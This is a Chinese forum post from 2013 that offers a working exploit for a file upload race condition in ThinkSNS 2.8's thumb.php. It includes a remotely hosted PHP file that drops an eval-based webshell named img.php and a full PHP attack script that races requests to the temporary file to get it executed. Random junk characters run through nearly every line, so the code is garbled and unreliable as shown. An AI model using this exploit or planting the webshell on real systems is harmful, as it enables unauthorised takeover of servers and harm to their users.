找回密码
 立即注册
查看: 2591|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本- {, u3 h* t9 x3 S4 f9 N( ?3 h
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
, r- S- R( w3 \6 _' Q3 K( ]漏洞文件# W% D; Q/ z; A4 s2 x% k
存在漏洞的文件为:thumb.php
# x/ B' }( z+ u2 Q+ T: @% z. @4 l作者:韦鲲鹏9 T( n# j2 N8 F# \
1、        准备如下PHP文件并上传到服务器(自己的)。* W2 ?1 {. i% y# N6 [* s6 `5 P
文件内容如下:
7 t& o0 ]) l4 e$ Y0 I0 I. r$ H<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
% V5 M' f: i# M2、        计算出临时的文件名:
* g7 G; @! q2 I. a( \0 u这里我们可以看文件的99行(刚刚是不是没注意呀!)。( N$ _8 Y4 k( m* M/ l: w
+ ]8 c, _. `( }% W, g% m
3、        上传临时文件。
" i! w, F# ^* r+ T0 J- C& r4、        访问临时文件。
! D6 T$ a0 U5 s6 k6 C( y但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 V% x+ b+ `( ]Exploit文件内容如下:(这个我就不详细解释了)
9 J$ R% q3 q$ @; Y% h<?php# j; e- M) g6 I) r
error_reporting(0);) t' W* n" y) ^& O0 z3 q
set_time_limit(0);2 y2 r9 C% x: e* b3 Y( d$ N; A0 O
ini_set(“default_socket_timeout”, 5);2 G% t* N. {8 H% T9 f
function http_send($host, $port, $headers) {7 ^: D% g. q, m
$fp = fsockopen($host, $port);0 @2 J/ X4 t1 C1 J
if (!$fp) die(‘Connection -> fail’);
1 {5 X4 w( o* ^& Dfputs($fp, $headers);. V3 L7 \! }- G: v) O5 G* _1 V( u
return $fp;$ _8 f3 e0 K* j" n
}( G+ @1 T+ }2 K9 Z: K( H; ]
function http_recv($fp) {! G3 x* D& h2 h3 T
$ret=”";
- W) B7 m1 h9 twhile (!feof($fp))
( N' D) b4 k7 J$ret.= fgets($fp, 1024);
, @% o1 j; l3 {/ {fclose($fp);
/ P) r# d3 L* D% M3 F" Mreturn $ret;
: \( m% y4 t$ l* Q& w3 q* c}
3 A; {. q7 d" P. c5 @print “\n#  ThinkSns Arbitrary File Upload   #\n”;9 {3 ^0 h- B, W9 s# d5 @7 J
print “# Discovered by 韦鲲鹏 #\n\n”;3 W  {6 a. B; h* ]! d) I
if ($argc < 4) {0 C( m9 e% A8 M6 x4 K
print “Usage:   php <host> <path> <romote_url>\n”;
9 x# E. Z4 [1 }- E2 fprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;3 L# c  Q8 t. X4 H* ^6 t
die();
( V& ~$ C7 w: X4 W- X! A}$ j1 j9 F7 w# |: h
$host = $argv[1];3 f" g* \$ {, ?, t2 ~. B% |5 L
$path = $argv[2];: Y% [3 c$ c0 Y' V
$url = $argv[3];- Z# {+ Q# X& |" B% y  a) z. D
$i=0;2 ?( c- ?1 i9 M9 X
//上传数据包: F! V- Q+ E+ T
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
( P$ Y! u: l( c4 K' }7 @$headers_up .= “Host: “.$host.”\r\n”;
+ f/ d  w) F/ J$headers_up .= “Connection: close\r\n\r\n”;5 M$ s2 G. D8 y; n( W& g
echo $headers_up;
9 P( L" s# v4 Q0 `* y//临时文件访问数据包
& P; d  K# ?& }& @$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
- w4 ~0 _/ ^  \% t$headers .= “Host: “.$host.”\r\n”;- A1 _' O* H6 G4 r- D
$headers .= “Connection: close\r\n\r\n”;) p8 O7 k5 s# Q+ B2 {
echo $headers;3 G$ D8 G) Y, @
while(++$i<10) {
5 O/ k& i' K" t2 zfclose(http_send($host, 80, $headers));
+ H) N4 j: p! b0 |2 j8 c/ {}
# n: {" w/ k! C, ~$ Nfclose(http_send($host, 80, $headers_up));! x6 ]% P+ ~& n7 X' T/ U9 d
while(++$i<50) {" D# }1 g5 U5 N5 J( h8 Y
fclose(http_send($host, 80, $headers));. l' j5 t& d+ Q2 Q7 w* Y; C8 j  b/ M
}
, K5 u. S- ?. N0 L2 I/ A* a$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;: ]- I6 q. t5 ?1 H+ P0 t! N# ]
$headers .= “Host: “.$host.”\r\n”;0 j5 K$ f- r4 V2 c
$headers .= “Connection: close\r\n\r\n”;+ s% D( Q$ ^$ H. Q
$res=http_recv(http_send($host, 80, $headers));
( M" @' Z2 p, yif(preg_match(‘/200 OK/’,$res)) {6 j, g7 u! E2 l$ }0 X3 J
print “Success!\n\n”;. I& L" g& r& d. f6 R  |) I
} else {  x3 z* |" o: l+ z4 a/ v) e3 i
print “Fail!\n\n”;  J% ]+ {1 P4 v$ q& r5 e: {9 g
}
$ s& B6 Y2 f3 ?) \: e7 }?>( h/ v  m6 C: g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表